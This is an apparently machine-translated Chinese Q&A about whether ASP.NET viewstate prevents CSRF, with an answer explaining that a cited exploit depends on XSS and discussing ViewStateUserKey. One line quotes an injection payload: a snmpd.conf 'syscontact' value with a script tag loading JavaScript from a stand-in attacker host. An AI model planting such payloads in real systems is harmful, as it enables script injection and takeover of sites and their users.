Asp.net viewstate何时停止CSRF?何时停止CSRF失败?

Asp.net viewstate何时停止CSRF?何时停止CSRF失败?,asp.net,security,iis,csrf,Asp.net,Security,Iis,Csrf,在什么情况下,在请求中使用viewstate可以防止CSRF攻击?声称即使请求中存在viewstate,它仍然容易受到CSRF的攻击。然而,该漏洞并不能解释为什么会出现这种情况 视图状态是在回发过程中保持视图状态的一种方法(即控件的属性值)。如果攻击者可以猜测或伪造此状态,则攻击者也可以伪造真实的跨站点请求 在中,该攻击似乎实际上需要跨站点脚本漏洞来进行CSRF攻击: 通过组合使用XSS和CSRF,用户可以通过配置snmpd.conf文件指向攻击者控制的JavaScript文件来添加到web应用

在什么情况下,在请求中使用viewstate可以防止CSRF攻击?声称即使请求中存在viewstate,它仍然容易受到CSRF的攻击。然而,该漏洞并不能解释为什么会出现这种情况

视图状态是在回发过程中保持视图状态的一种方法(即控件的属性值)。如果攻击者可以猜测或伪造此状态,则攻击者也可以伪造真实的跨站点请求

在中,该攻击似乎实际上需要跨站点脚本漏洞来进行CSRF攻击:

通过组合使用XSS和CSRF,用户可以通过配置snmpd.conf文件指向攻击者控制的JavaScript文件来添加到web应用程序:

syscontact <script src="http://attacker/evil.js"></script>
syscontact
因此,在目标源代码内执行攻击代码后,该请求伪造攻击不再是“跨站点”攻击

此外,由于viewstate在某些情况下是可预测的,因此无法抵御CSRF攻击,供应商向viewstate机制添加了一些不可预测的信息。在ASP.NET中,这称为,它基本上是每个用户的私钥,用于为viewstate的MAC计算进行salt

但正如漏洞利用描述所述,他们似乎已经在使用这些保护措施:

[…]NPM也容易受到CSRF攻击,尽管它使用VIEWSTATE保护


因此,这同样是一个跨站点脚本漏洞,而不是一个跨站点请求伪造漏洞。因为如果您已经能够在站点内执行JavaScript代码,那么您就已经拥有了对站点的完全控制权。

这真的是一个asp经典问题还是asp.net?谢谢!因此,如果我正确理解了这一点,如果目标系统没有XSS可维护性,并且没有使用ViewStateUserKey属性,那么给定的请求仍然容易受到CSRF的攻击?@Rook它主要取决于viewstate中存储了哪些信息,以及这些信息是否可预测。有时viewstate也包含某种计数器,随着每个请求的增加而增加,因此不太可预测。但在某些情况下可能是这样。